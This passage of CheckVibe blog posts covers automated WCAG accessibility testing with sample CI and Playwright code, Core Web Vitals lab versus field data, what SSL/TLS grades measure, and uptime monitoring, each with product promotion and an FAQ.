Two nuances worth internalizing. First, **contrast is only automatable where the tool can read computed styles** — a headless-browser runner like axe-core resolves the cascade and gets real numbers; static HTML analysis sees only the inline-style subset. Second, **automation cannot produce a conformance claim.** A VPAT, an EN 301 549 statement, or an "accessible per WCAG 2.1 AA" line in a contract requires manual testing: keyboard-only traversal, a screen reader pass (NVDA or VoiceOver), zoom to 400%, and a look at the flows that matter. "Zero axe violations" is evidence, not conformance.

Anyone selling "fully automated WCAG compliance" — particularly one-line JavaScript "overlay" widgets — is selling the impossible; overlay vendors' customers keep getting sued, and disability advocates have documented overlays making sites *less* usable. Treat scans as the floor: they catch the objective majority-by-volume failures on every deploy, and they free human review (one afternoon with a keyboard and a screen reader: tab through signup, checkout, and your core flow) to focus on the judgment calls automation can't make.

The right mental model: **automated checks are accessibility signals, not certification.** That's also why scanning beats auditing-once: an audit is a snapshot, while your templates change weekly. The unlabeled input ships back in with the next form refactor; the scanner catches it the same day.

## The automated accessibility testing tools worth knowing

Five tools cover almost every real setup. They overlap heavily — most of them are axe-core wearing a different coat — so pick by *where it runs*, not by rule count.

**axe-core** is Deque's open-source rules engine and the thing under the hood of most of the others. It runs inside a real browser against the rendered DOM and computed styles, so it sees your React output and resolves actual contrast ratios instead of guessing from markup. Rules are tagged (`wcag2a`, `wcag2aa`, `wcag21aa`, `best-practice`) so you can filter to exactly the level you're claiming. Deque tunes it for near-zero false positives, which is precisely why its coverage stops where judgment starts — it won't flag anything it can't prove.

**Lighthouse** ships in Chrome DevTools, `npx lighthouse`, PageSpeed Insights, and Lighthouse CI. Its Accessibility category is a curated subset of axe-core rules rolled into a weighted 0–100 score. That makes it a good smoke test and a good trend line, and a bad compliance signal: a 100 means "no failures found in this subset," which Google's own docs say out loud. Use it if you already run Lighthouse for performance budgets; don't build the program on the score.

**Pa11y** (and `pa11y-ci`) is a Node CLI that drives headless Chrome and runs either HTML_CodeSniffer or axe-core as its engine. Its edge is CI ergonomics rather than rules: a config file with a URL list or a sitemap, JSON/CI reporters, per-URL ignore rules, and an error threshold so a backlog doesn't red-light every build. Best fit when you want to sweep dozens of static URLs on a schedule without writing a test suite.

**WAVE** is WebAIM's browser extension and web service. It renders findings as icons overlaid on the page itself, which makes it the fastest way to show a designer or content editor what's wrong without a JSON dump. The extension evaluates whatever is in your browser, including pages behind auth, and needs no setup. It's a manual triage tool, not a CI tool — the automation path is the paid API.

**@axe-core/playwright** is the axe integration for Playwright (equivalents exist for Cypress and Puppeteer). It runs axe against a page *you already drove* — logged in, cart populated, modal open, step three of checkout. That's the only way to test states a URL crawler structurally cannot reach, and it's the integration most product teams should own. Everything else is a supplement to this.

## Automating accessibility checks in CI

Automating web accessibility is worth doing only if it runs without anyone remembering to run it. The pattern that works: test the deployed preview URL, not `localhost`, so you're checking the same build your users get, CDN and all.

Here's a complete GitHub Actions workflow that fires when a preview deploy succeeds and runs axe against it:

```yaml
name: Accessibility

on:
  deployment_status

jobs:
  axe:
    # only run once the preview deploy is actually live
    if: github.event.deployment_status.state == 'success'
    runs-on: ubuntu-latest
    env:
      PREVIEW_URL: ${{ github.event.deployment_status.environment_url }}
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: 20
          cache: npm
      - run: npm ci
      - run: npx playwright install --with-deps chromium
      - run: npx playwright test tests/a11y.spec.ts
      - uses: actions/upload-artifact@v4
        if: always()
        with:
          name: a11y-report
          path: playwright-report/
```

And the test it runs. Note the `withTags` filter — that's where the AA decision from earlier becomes a config line:

```ts
// tests/a11y.spec.ts
import { test, expect } from '@playwright/test';
import AxeBuilder from '@axe-core/playwright';

const PATHS = ['/', '/pricing', '/signup', '/contact'];

for (const path of PATHS) {
  test(`no WCAG AA violations on ${path}`, async ({ page }) => {
    await page.goto(new URL(path, process.env.PREVIEW_URL).toString());

    const { violations } = await new AxeBuilder({ page })
      .withTags(['wcag2a', 'wcag2aa', 'wcag21a', 'wcag21aa'])
      .analyze();

    const summary = violations.map(
      (v) => `${v.id} (${v.impact}) x${v.nodes.length}: ${v.help}`
    );

    expect(summary, summary.join('\n')).toEqual([]);
  });
}
```

The `summary` trick matters more than it looks: a raw axe failure prints an unreadable object graph, while this puts the rule id, impact, and node count straight into the CI log so whoever broke it can fix it without opening an artifact.

If you'd rather not own a test suite, `pa11y-ci` gets you most of the way with a config file:

```json
{
  "defaults": {
    "standard": "WCAG2AA",
    "runners": ["axe"],
    "timeout": 30000,
    "threshold": 0,
    "chromeLaunchConfig": { "args": ["--no-sandbox"] }
  },
  "urls": [
    "https://preview-abc123.vercel.app/",
    "https://preview-abc123.vercel.app/pricing",
    "https://preview-abc123.vercel.app/signup"
  ]
}
```

```bash
# explicit URL list
npx pa11y-ci --config .pa11yci.json

# or crawl everything you've told Google about
npx pa11y-ci --sitemap https://example.com/sitemap.xml --sitemap-exclude "/blog/"
```

Three things that decide whether this survives contact with a real team:

- **Gate on new violations, not the backlog.** A first run on a mature app can return hundreds of findings. Set `threshold` (pa11y-ci) or snapshot the current violation ids and fail only on additions, then burn the list down on purpose.
- **Test states, not just URLs.** The logged-in dashboard, the open modal, the error state of the form — these are where labels and focus management actually break, and only a driven browser reaches them.
- **Run it on a schedule too.** CI catches what you change; a nightly or weekly run against production catches what your CMS, your marketing team, and your third-party embeds change.

## Multi-page matters

Accessibility failures live in templates, but not *only* in the homepage template. Forms hide on contact and signup pages, tables on pricing pages, iframes on docs pages. A scan that samples interior pages — not just `/` — catches the template classes a homepage-only check structurally can't see.

## How CheckVibe runs it

The [accessibility check](/security-checks/accessibility-wcag) is the eighth pillar in a CheckVibe scan, alongside [security](/security-checks/security-headers), [SEO](/security-checks/seo-scanner), and [performance](/security-checks/performance-web-vitals):

- **27 HTML-level checks** across structure, forms, navigation/focus, and media — the WCAG 2.x AA signal set above, mapped to EAA-relevant criteria
- **Homepage plus up to five sampled interior pages** per scan, so template-level failures surface wherever they live
- **Honest framing built in** — results are labeled as served-HTML signals; client-side rendered apps are flagged as such rather than scored on markup the crawler never saw
- **A fix prompt on every finding** — paste into Claude, Cursor, or Windsurf; most findings are one-attribute fixes once located
- **Re-checked on every scheduled scan**, so the regression you ship in October gets caught in October

Accessibility issues also feed the [compliance check](/security-checks/legal-compliance)'s EAA-relevant signals, since "is the site accessible" is now a legal-exposure question, not just a quality one.

[Run a free scan](/) — if your forms are labeled and your headings are sane, you'll know in a minute. If they aren't, you'll know exactly where.

## FAQ

### Can accessibility testing be fully automated?

No. Deque's research puts automated detection at roughly 57% of accessibility issues — the objective ones: missing labels, alt attributes, `lang`, broken heading structure, invalid ARIA. Judgment calls (alt-text quality, focus order, screen-reader flow comprehensibility, cognitive load) need a human with a keyboard and a screen reader. Automation's job is catching that objective half continuously, so human review stays rare, focused, and affordable.

### What does WCAG 2.1 Level AA mean?

WCAG is the W3C's accessibility standard; 2.1/2.2 are versions and A/AA/AAA are conformance levels. Level AA is the benchmark referenced by most laws and contracts — including the EU's EN 301 549 standard underlying the European Accessibility Act — covering things like text alternatives, labels, keyboard operability, contrast, and consistent navigation.

### Which WCAG level should I target?

Level AA, on WCAG 2.1 or 2.2. It's what EN 301 549 references for the European Accessibility Act, what US ADA settlements and Section 508 procurement name, and what enterprise VPATs ask you to attest to. Level A is too low to satisfy anyone; AAA contains criteria the W3C says cannot be met for all content. Configure axe with the `wcag21aa` tag or Pa11y with `WCAG2AA` and stop debating it.

### How often should I run automated accessibility tests?

On every pull request, against the deployed preview URL rather than `localhost` — plus a scheduled run against production, weekly is plenty. CI catches regressions in code you changed; the scheduled run catches what your CMS, your marketing team, and third-party embeds changed without a deploy. Manual keyboard and screen-reader passes cost far more, so do those quarterly and after any redesign of a core flow.

### Does the European Accessibility Act apply to my SaaS?

If you sell e-commerce or covered digital services to consumers in the EU, very likely yes — it has applied since June 28, 2025, regardless of where your company is based. Microenterprises (under 10 staff and under €2M turnover) have a service exemption, but their B2B customers increasingly demand conformance anyway. Member states enforce with fines; the practical baseline is WCAG 2.1 AA.

### What are the most common accessibility failures?

Year after year, WebAIM's million-site survey finds the same five: low-contrast text, images without alt text, form inputs without labels, empty links, and missing document language. Four of the five are trivially machine-detectable and typically one-line fixes — which is what makes shipping them in 2026 so unnecessary.

### Do accessibility overlays make my site compliant?

No. One-line overlay widgets cannot fix markup-level failures (they read the same broken DOM), they frequently interfere with users' own assistive technology, and companies using them continue to receive ADA demand letters — some lawsuits now cite the overlay itself. Fix the markup; it's less work than it sounds.


---

## Lab vs Field Data: Why Your Core Web Vitals Don't Match (and Which to Trust)

*Lighthouse says fast, CrUX says slow. What lab, field and RUM data each measure, how to read the gap, and how to catch regressions before rankings drop.*

Published: 2026-06-10 | Reading time: 8 min read
URL: https://checkvibe.dev/blog/core-web-vitals-lab-vs-field-data


You run Lighthouse: 94. You check Search Console: "LCP issue: longer than 2.5s (mobile)." Both are measuring the same site on the same day. Neither is broken.

This is the lab-versus-field gap, and misreading it is the most common way developers waste a performance sprint — optimizing a number that was already fine while the one hurting their rankings stays red. Here's how the three kinds of performance data actually relate, and how to use the *disagreement* between them as a diagnostic instead of a confusion.

## The three Core Web Vitals (30-second refresher)

Google's Core Web Vitals are three user-experience metrics with official thresholds, measured at the 75th percentile of real page loads:

| Metric | Measures | Good | Poor |
|---|---|---|---|
| **LCP** (Largest Contentful Paint) | Time until the main content renders | ≤ 2.5s | > 4.0s |
| **INP** (Interaction to Next Paint) | Worst-case responsiveness to taps/clicks/keys | ≤ 200ms | > 500ms |
| **CLS** (Cumulative Layout Shift) | Visual stability — how much the page jumps | ≤ 0.1 | > 0.25 |

Two supporting metrics — **TTFB** (≤ 800ms good) and **FCP** (≤ 1.8s good) — aren't ranking inputs themselves but explain the others: a slow LCP with a slow TTFB is a server problem; a slow LCP with a fast TTFB is a frontend problem.

## Lab data: a controlled experiment

Lab data is your site measured by a tool, under fixed conditions, right now. Lighthouse, PageSpeed Insights' top section, WebPageTest, and scanner probes are all lab.

**Strengths:** instant feedback, perfectly reproducible, available before launch and on staging, and it can see *causes* — render-blocking scripts in the `<head>`, images without dimensions, missing compression, redirect chains, cache headers, font-display strategy. Lab is where you debug.

**Blind spots:** a lab run is one synthetic visitor with one device, one network, an empty cache, and no interactions. It cannot measure INP meaningfully (nobody is interacting), and it will happily report a fast LCP from a datacenter while your actual users load the page on a mid-range Android over cell data, three network hops and one continent away.

## Field data: what real users experienced

Field data is aggregated from actual Chrome users via **CrUX** (the Chrome UX Report). It's what Google uses for ranking. PageSpeed Insights' "Discover what your real users are experiencing" section, Search Console's CWV report, and the CrUX API all read from it.

The shape of CrUX matters as much as the numbers:

- It's a **28-day rolling window** — your fix today moves the number gradually over four weeks. Shipping an optimization and checking CrUX tomorrow tells you nothing.
- It's reported at the **75th percentile** — the experience of your *slower* users, not your average. Your M4 MacBook on fiber is around the 5th percentile.
- **Phone and desktop are separate datasets**, and phone is usually worse and usually what matters — it's the larger share of traffic for most sites and the stricter judge.
- It needs **enough traffic** to report. Low-traffic pages fall back to origin-level data or nothing at all.

## RUM: field data you own

Real User Monitoring closes CrUX's gaps: a small script on your own pages reports each real visit's LCP, INP, CLS, FCP, and TTFB. You get per-page, same-day resolution instead of a 28-day origin-level blur — RUM is how you see *yesterday's deploy* hurt INP on *one specific route*, weeks before CrUX would average it into visibility. CrUX remains the scoreboard that rankings read from; RUM is the live telemetry that tells you what to fix today.

## Reading the divergence: the actual diagnostic

The lab/field gap isn't noise — it's information. Each combination points somewhere specific:

| Lab | Field | What it means |
|---|---|---|
| Fast | Slow | Your *conditions* are the problem: real devices and networks are slower than the probe. Look at payload size, image weight, JS execution cost on mid-range mobile — and check whether CDN coverage matches where your users actually are. |
| Slow | Fast | Often fine. Caches, returning visitors, and geographic proximity help real users in ways a cold lab run doesn't see. Confirm with RUM before spending a sprint on it. |
| Fast | Fast | Ship features. Set a budget so you notice when this changes. |
| Slow | Slow | Believe it. Use the lab's cause-level findings to fix it, and watch field data confirm over the following weeks. |

For LCP specifically, the highest-leverage diagnostic is the **phase breakdown**: total LCP splits into TTFB → resource load delay → resource load duration → element render delay. A 3.8s LCP that's 2.9s TTFB is a backend/CDN ticket; the same 3.8s spent in resource load delay means the browser discovered your hero image too late (lazy-loaded above the fold, or buried behind a JS render) — a completely different fix.

## Catching regressions: the part everyone skips

Performance isn't a project, it's a property — and properties decay. A marketing script lands, a hero image doubles, a dependency upgrade ships 80KB of polyfills. Each one is invisible in code review and obvious in field data — three weeks later, when CrUX catches up and rankings have already moved.

A regression watch closes that gap. The mechanics that make one trustworthy rather than noisy:

- **Compare against a stable baseline** — the median of the past week's daily p75s, not yesterday's single value.
- **Require both a relative and an absolute change** — e.g. ≥20% worse *and* at least +250ms LCP / +40ms INP / +0.02 CLS. Percentage-only triggers fire on trivia ("LCP regressed 25%!" — from 80ms to 100ms); absolute-only triggers miss death-by-degrees on already-slow pages.
- **Grade by threshold crossing** — a regression that stays inside "good" is a warning; one that crosses Google's line is a failure. Only the second kind deserves an interrupt.
- **Look at multiple windows** — vs. 4 weeks and vs. 12 weeks ago. Slow rot never trips a day-over-day alarm.
- **Cool down after alerting** — one email per metric per incident, not one per day until fixed.

## How CheckVibe wires this together

We built the [performance check](/security-checks/performance-web-vitals) around the lab/field/RUM triangle rather than another isolated Lighthouse score:

- **Lab probe** — TTFB, compression, HTTP/2/3, redirect chains, cache headers, document weight, render-blocking resources, image formats and dimensions, lazy-loading, font-display — the cause layer, run on every scan
- **CrUX field data** — 28-day p75 for LCP, INP, CLS, FCP, TTFB, phone-first with desktop fallback, plus 40 weeks of history for trend lines
- **A fused per-vital panel** — lab and field side by side with the divergence diagnosis written out, including the LCP phase breakdown when it's an image
- **RUM snippet** — one script tag, reporting the standard web-vitals metrics from your real visitors into the same dashboard
- **Daily regression watch** — baseline-vs-current with the relative + absolute + threshold-crossing rules above, and an email that names the metric, the size of the regression, and the likely layer

It lives alongside [uptime](/security-checks/uptime-monitoring) and the security scanners in the same project, because "the site is slow" and "the site is down" are the same conversation at different volumes.

[Run a free scan](/) and the lab layer runs immediately; field data appears for any origin Chrome has enough traffic data on.

## FAQ

### Why does Lighthouse say my site is fast but Search Console says it's slow?

Lighthouse is lab data — one synthetic load under fixed conditions, usually from a fast machine in a datacenter. Search Console reads CrUX field data — the 75th percentile of your real users over 28 days, separately for phone and desktop. Real users on mid-range phones over cell networks are slower than the lab probe. Both are correct; they answer different questions.

### Which should I trust, lab or field data?

Field data decides *whether* you have a problem — it's what users experienced and what Google ranks on. Lab data tells you *why* and verifies fixes instantly. Use field to prioritize, lab to debug, and RUM to see results same-day instead of waiting out CrUX's 28-day window.

### How long until fixes show up in Core Web Vitals?

CrUX is a 28-day rolling window, so a fix shipped today reaches full effect in about four weeks, moving gradually as old days roll out of the window. RUM shows the improvement within hours — which is exactly why you want both.

### What is a good INP score?

200ms or less at the 75th percentile counts as good; over 500ms is poor. INP replaced FID in March 2024 and is stricter — it measures your *worst* interactions across the whole visit, not just the first. Long JavaScript tasks on the main thread are the usual culprit.

### Do Core Web Vitals actually affect rankings?

Yes — as one signal among many, evaluated per URL, with the biggest effect in competitive results and on mobile. Relevance still dominates: vitals are a tiebreaker between comparable pages, not a way to outrank better content. The indirect effects (bounce rate, conversion) are typically larger than the direct ranking lift.


---

## What Your SSL/TLS Grade Means: A+ to F, Explained Factor by Factor

*TLS grades compress protocol versions, cipher strength, certificate health and HSTS into one letter. What each costs you, and how to fix every deduction.*

Published: 2026-06-10 | Reading time: 8 min read
URL: https://checkvibe.dev/blog/ssl-tls-grade-explained


Every developer has seen an SSL grade — the A+ badge people screenshot, the C that shows up in a security review the week before an enterprise deal closes. But ask what the letter actually *measures* and most answers stop at "certificate stuff."

The letter is a compression of four or five independent properties of your TLS deployment, each with its own failure modes and its own fix. This post decompresses it: what's evaluated, what each deduction means, and why "the padlock shows up in Chrome" and "this deployment is well-configured" are very different statements.

## The padlock is table stakes, not a grade

Browsers show the padlock if your certificate is valid and the connection negotiated *some* acceptable encryption. That's a pass/fail check with a low bar. A grade asks harder questions: *which* protocol versions will you negotiate, *which* ciphers will you accept, is your certificate chain complete, will you protect users who type your domain without `https://`, and does the secure page quietly load insecure resources?

Two sites with identical padlocks can sit at opposite ends of the scale — one negotiating TLS 1.3 with modern ciphers and preloaded HSTS, the other still accepting TLS 1.0 with cipher suites deprecated a decade ago.

## Factor 1: Protocol versions — the floor and the ceiling

TLS versions are not increments; they're security eras.

- **TLS 1.0 (1999) and 1.1 (2006)** are formally deprecated (RFC 8996, 2021). They permit weak hashes and CBC constructions with known attack classes (BEAST, POODLE-adjacent downgrade paths). Every major browser dropped them in 2020. *Accepting* them — even if modern clients never pick them — caps your grade, because a protocol you accept is an attack surface you own: downgrade attacks work by forcing the negotiation to the worst thing you'll agree to.
- **TLS 1.2 (2008)** is the secure baseline when configured with modern cipher suites. It's the floor for a passing grade.
- **TLS 1.3 (2018)** removed the foot-guns rather than patching them: weak ciphers are gone from the spec, forward secrecy is mandatory, the handshake is faster (one round trip, with 0-RTT resumption) and encrypts more of itself. Supporting it is the ceiling-raiser — **no TLS 1.3, no A+.**

The fix is usually one config block (or one CDN toggle): minimum version 1.2, enable 1.3. If your TLS terminates at Cloudflare, Vercel, or a load balancer, this is the provider's panel, not your code.

## Factor 2: Cipher suites — what "weak" actually means

A cipher suite is the bundle of algorithms a connection uses for key exchange, encryption, and integrity. "Weak" isn't an insult; it's a category with specific members:

- **RC4** — biases exploitable at scale; prohibited since 2015
- **3DES** — 64-bit blocks make it Sweet32-vulnerable on long connections
- **CBC-mode suites with SHA-1**, export-grade ciphers, and anything with **NULL or anonymous key exchange**
- **Non-ephemeral RSA key exchange** — works, but provides no forward secrecy

**Forward secrecy** (the `ECDHE` in modern suite names) deserves its own sentence: with ephemeral key exchange, each session gets throwaway keys, so an attacker who records your traffic today and steals your private key next year still can't decrypt the recordings. Without it, your private key is a skeleton key for all past captured traffic. Graders reward forward-secrecy-everywhere; TLS 1.3 makes it mandatory.

Like protocol versions, this is about what you *accept*: one legacy suite kept "for compatibility" with clients that no longer exist is a standing downgrade target.

## Factor 3: Certificate health — where outages live

Most TLS *incidents* aren't cryptographic; they're operational, and they're certificate-shaped:

- **Expiry runway.** Certificates now live ≤398 days (and the CA/Browser Forum has voted to shorten lifetimes further, stepping down to 47 days by 2029) — renewal is a treadmill, and an expired certificate is a full outage with a scary browser interstitial. Monitoring the *days remaining*, not just validity-right-now, is the difference between a calendar entry and a 3 AM incident. Certificate Transparency logs make this externally observable: every publicly-trusted certificate is logged at issuance, so your cert inventory — including ones a teammate issued from a different ACME client — is public record.
- **Chain completeness.** Your server must send the intermediate certificates, not just the leaf. Browsers often paper over a missing intermediate (cached or fetched on the fly); stricter clients — `curl`, mobile apps, webhooks, monitoring probes, other people's backends calling your API — fail with trust errors. "Works in Chrome, fails in curl" is almost always an incomplete chain.
- **Coverage.** The certificate must match the names users actually hit — apex and `www` both, plus any API subdomains.

## Factor 4: HSTS — protecting the first request

Your perfect TLS config doesn't help the user who types `yourdomain.com` into the address bar: that first request goes out over plain HTTP, and an attacker on the path (public Wi-Fi is the classic venue) can intercept it and keep the victim on HTTP or hand them a different destination entirely — the SSL-stripping attack.

**HSTS** (`Strict-Transport-Security`) is the header that closes this: once a browser has seen it, it refuses to speak HTTP to your domain for `max-age` seconds, upgrading every request to HTTPS before it leaves the machine. Configuration has real gradations: a long `max-age` (six months minimum for credit), `includeSubDomains` so staging and API hosts inherit protection, and `preload` — shipping your domain in the browsers' built-in HSTS list so even the *first-ever* visit is protected. Preload + TLS 1.3 + clean ciphers is the classic A+ profile.

One honest caveat: preload is close to irreversible (removal takes months to propagate), so turn it on after `includeSubDomains` has baked without incident — not as day-one resume polish.

## Factor 5: Mixed content — the self-inflicted hole

A perfectly configured HTTPS page that loads a script over `http://` has reopened the door TLS closed: an attacker who can touch that one insecure request can inject into the secure page. Browsers block *active* mixed content (scripts, iframes) and increasingly upgrade or block passive content (images), but the result is broken pages, console warnings, and a padlock that downgrades. Mixed content is almost always a hardcoded `http://` URL in a template or a database-stored asset link from the pre-HTTPS era — grep-able, fixable, and worth a deduction anywhere it appears because of how cheaply it undermines everything else.

## Reading the letter

Putting it together, the grades roughly mean:

- **A+** — TLS 1.3, modern ciphers with forward secrecy, healthy certificate with runway, HSTS with strong max-age (typically preloaded), no mixed content
- **A** — the same deployment minus a refinement (usually HSTS preload or TLS 1.3)
- **B** — fundamentally sound with a real deduction: a weak cipher still accepted, HSTS missing, short cert runway
- **C** — multiple deductions, or a deprecated protocol version still negotiable
- **D/F** — actively dangerous: expired/invalid certificate, broken chain, TLS 1.0/1.1 reachable, or no effective HTTPS enforcement

The encouraging part: almost every deduction is a configuration change, not an engineering project. The discouraging part: they regress silently — a CDN migration resets your TLS posture to the provider's defaults, a new subdomain ships without HSTS, a certificate auto-renewal quietly stops. Which is why grading belongs in continuous scanning, not in an annual audit.

CheckVibe's [SSL/TLS check](/security-checks/ssl-tls-security) computes the grade on every scan — protocol versions, cipher strength, forward secrecy, certificate validity and expiry runway via Certificate Transparency logs, HSTS policy, and mixed content — with a fix prompt per deduction, and the [domain health check](/security-checks/domain-watchtower) keeps watching certificate runway between scans. [Run a free scan](/) to see your letter and exactly which factor is capping it.

## FAQ

### What's the difference between an A and an A+ TLS grade?

An A is a clean, modern deployment. The plus typically requires the refinements: TLS 1.3 support, forward secrecy across all accepted cipher suites, and a strong HSTS policy (long max-age, usually preloaded). None of them change the padlock; all of them change what an attacker on the network path can do.

### Is TLS 1.2 still safe in 2026?

Yes — with modern cipher suites (AEAD/GCM, ECDHE key exchange) TLS 1.2 remains the accepted secure baseline. The grade pressure is in two directions: stop accepting 1.0/1.1 (deprecated, downgrade surface) and add 1.3 (mandatory forward secrecy, faster handshake, smaller attack surface).

### Why does my site fail in curl but work in browsers?

Almost always an incomplete certificate chain: your server sends only the leaf certificate and browsers silently fetch or cache the missing intermediate, while curl, mobile apps, and server-to-server clients don't. Serve the full chain (leaf + intermediates) and both will agree.

### Should I enable HSTS preload?

Eventually, yes — it protects even a user's first-ever visit, and it's part of the classic A+ profile. But it's effectively a one-way door (removal from browser preload lists takes months), so enable `includeSubDomains` first, run it long enough to confirm every subdomain works over HTTPS, then preload.

### How often should TLS configuration be checked?

Continuously — the failure modes are silent and operational, not gradual. Certificates expire on a date, CDN migrations reset cipher and protocol settings to provider defaults, and new subdomains launch without HSTS. A scheduled scan that re-grades TLS and watches certificate expiry runway turns each of these from an outage into an email.


---

## Website Uptime Monitoring: A Practical Guide for Developers Who Ship Fast

*How uptime monitoring actually works: check intervals, false-positive traps, incident detection, alerting and public status pages. Plus how to set it up.*

Published: 2026-06-10 | Reading time: 8 min read
URL: https://checkvibe.dev/blog/website-uptime-monitoring-guide


Your site went down at 2:47 AM. A customer tweeted about it at 6:15 AM. You found out at 9:30 AM, from the tweet.

That gap — between the moment something breaks and the moment you know — is the entire reason uptime monitoring exists. This guide covers how it actually works under the hood, the false-positive traps that make naive monitors cry wolf, and what a public status page does for the trust equation. It's written for developers shipping side projects and SaaS apps, not for SRE teams with a PagerDuty rotation.

## What uptime monitoring actually is

**Uptime monitoring is an external service requesting your site on a fixed interval, recording whether it responded, how fast, and with what status code — and alerting you when the answer changes.**

The key word is *external*. Your own infrastructure can't reliably report its own death. A health check running on the same box, the same cluster, or even the same cloud region as your app shares its failure modes. Monitoring has to live outside.

A good monitor records four things per check:

- **Reachability** — did the request complete at all?
- **Status code** — what did the server say?
- **Latency** — how long did it take?
- **Error class** — if it failed, *how*? DNS failure, TLS error, connection refused, timeout, and HTTP 5xx are very different incidents with very different fixes.

That last one matters more than people expect. "Your site is down" is barely actionable. "DNS resolution failed" points at your registrar or nameserver change from yesterday. "TLS chain incomplete" points at a botched certificate renewal. "Connection refused" points at a dead process or a firewall rule. The error class is the first clue of the postmortem, captured automatically.

## Check frequency: why every minute is the sweet spot

Monitors typically probe somewhere between every 30 seconds and every 5 minutes. The trade-off is simple: detection latency versus noise and load.

At a 5-minute interval, a 4-minute outage can pass completely undetected — and your *measured* downtime is wrong by up to 5 minutes on each edge of every incident. At 60-second checks, detection lag is bounded by about a minute, short blips actually register, and the load on your site is negligible: one request per minute is 1,440 requests a day, less than a single crawler bot.

Sub-30-second intervals are mostly theater for typical web apps. Your alerting pipeline (email, Slack) adds tens of seconds anyway, and the fix takes minutes at minimum. Spend the engineering budget on better failure classification instead.

A detail worth checking in any monitor: what HTTP method does it use? Well-behaved monitors send a `HEAD` request first — it returns headers only, costing your server almost nothing — and fall back to `GET` when a server answers `HEAD` with 405 or 501 (some frameworks and CDNs do).

## The false-positive problem

The fastest way to make a monitor useless is letting it lie. Two classic traps:

### Trap 1: treating every non-200 as "down"

Your WAF rate-limits an aggressive client and returns 429. Your login-protected staging area returns 401. Cloudflare challenges a datacenter IP with 403. None of these mean your site is down — they mean it's up and *making decisions*. The server is alive, terminating TLS, running logic.

A monitor tuned for signal treats **4xx responses as UP** and reserves DOWN for what actually indicates an outage: **5xx responses and transport-level failures** (DNS, TLS, connection refused, timeout). If your monitoring tool pages you because your own bot-protection blocked its probe, you'll mute it within a week — and then miss the real outage.

### Trap 2: alerting on a single failed check

Networks blip. A single dropped packet between one probe location and your host is not an incident. The standard fix is a **consecutive-failure threshold**: a site is only marked down after N failed checks in a row (2 is a sane default — at 60-second intervals, that's confirmation within ~2 minutes). Recovery, by contrast, should flip on the *first* successful check, because a false "recovered" self-corrects within a minute, while a slow one understates your downtime.

This is a state machine, and it's worth being precise about: UP → DOWN requires sustained evidence; DOWN → UP requires one good probe. Each transition opens or closes an **incident** with a start time, end time, duration, and the last observed error class. Incidents — not raw checks — are what you alert on, report on, and show on a status page.

## Alerting: down is half the story

The alert email everyone designs first: "🔴 yoursite.com is DOWN." The alert everyone forgets: "🟢 yoursite.com recovered after 14 minutes."

Recovery alerts matter for three reasons. They close the loop when you're mid-firefight (no more manual refreshing). They give you the incident duration for the postmortem without log spelunking. And they're the difference between "monitoring as anxiety" and "monitoring as a record."

Beyond down/recovered, resist the urge to add more alert types. Latency-degradation warnings and certificate-expiry notices are useful *signals*, but they belong in dashboards and digests, not in the same channel as "the site is unreachable." Alert fatigue is the leading cause of death for monitoring setups.

## Public status pages: monitoring as marketing

A status page is your uptime data, published. At minimum: current state, a response-time figure, a 90-day uptime history, and a log of recent incidents with durations.

It feels counterintuitive to publish your failures. In practice it works the other way:

- **During an incident**, a status page absorbs support load. Users who can see "we know, it's been 6 minutes" don't email you. Users staring at a spinning tab do.
- **Between incidents**, a 90-day green bar with a 99.9% figure is sales collateral. Enterprise procurement asks for exactly this. So do savvy indie customers comparing two tools.
- **Internally**, a public number keeps you honest. Uptime you don't measure is uptime you imagine — and self-reported "we're basically always up" beliefs rarely survive first contact with a monitor.

The numbers on a status page come from daily rollups: checks performed, checks failed, average latency per day. Showing per-day bars for 90 days, with 7-day and 30-day uptime percentages, is the industry-standard presentation because it answers both "is it down *now*?" and "is this thing *generally* reliable?" in one glance.

## DIY vs. a service

The DIY version is a cron job hitting your URL plus a notification script — a fun afternoon, and most of them die from the problems above: they run *inside* your infrastructure, they alert on single failures, they treat 429 as an outage, they have no incident model, no history, no status page, and they stop working silently when the cron box has a bad day. Monitoring your monitor is a real problem; the practical answer is using infrastructure that isn't yours.

We built uptime monitoring into CheckVibe because security scanning and availability monitoring answer the same customer question — *"is my site okay?"* — and the [monitoring product](/products/monitors) was already watching for security regressions on a schedule. The uptime layer adds:

- **Checks every 60 seconds** from outside your infrastructure — `HEAD` with automatic `GET` fallback, 10-second timeout
- **A real incident model** — consecutive-failure threshold before opening an incident, instant recovery detection, durations and error classes recorded
- **False-positive resistance** — 4xx (including WAF challenges and rate limits) counts as up; only 5xx and transport failures count as down
- **Down + recovered email alerts** with the incident duration and the probable cause class
- **A public status page per project** — live state, 90-day daily history, uptime percentages, recent incidents

It rides along with the [uptime monitoring check](/security-checks/uptime-monitoring) in your project dashboard, next to the security, [performance](/security-checks/performance-web-vitals), and [domain health](/security-checks/domain-watchtower) panels — one place instead of four tools.

[Run a free scan](/) to see the rest of the platform; uptime monitoring switches on per project in the dashboard.

## FAQ

### How often should uptime checks run?

Every 60 seconds is the practical sweet spot for web apps. Five-minute intervals can miss short outages entirely and blur your downtime math; sub-30-second intervals add noise and load without changing your real-world response time, since alert delivery and human reaction dominate.

### What counts as "down"?

Transport failures (DNS resolution, TLS handshake errors, connection refused, timeouts) and HTTP 5xx responses. Well-designed monitors treat 4xx — including 401, 403, and 429 — as up, because the server is alive and responding deliberately; counting WAF challenges as outages is the most common source of false alarms.

### What's a reasonable uptime target for a small SaaS?

99.9% — under 45 minutes of downtime a month — is achievable on modern hosting without heroics and is what most customers implicitly expect. Chasing 99.99% as a small team usually costs more in architecture than it returns; communicating honestly via a status page returns more trust per hour invested.

### Do I really need a public status page?

If anyone pays you, yes. It cuts support volume during incidents, gives procurement the reliability evidence they ask for, and a visible 90-day track record converts skeptics better than a marketing claim. The main objection — "it shows my failures" — inverts in practice: hiding failures is what erodes trust.

### Can't I just monitor from my own server?

A health check inside your own infrastructure shares failure modes with your app — region outages, DNS misconfigurations, expired certificates, and full-host failures all take the monitor down with the site. External probing is the entire point of uptime monitoring.


---

## How to Check if ChatGPT Can See Your Website (and Fix It if It Can't)

*Test whether ChatGPT, Claude, Perplexity, and Google AI can crawl and cite your site — robots.txt, WAF blocks, JavaScript rendering, and the fix for each.*

Published: 2026-06-05 | Reading time: 16 min read
URL: https://checkvibe.dev/blog/check-if-chatgpt-can-see-your-website


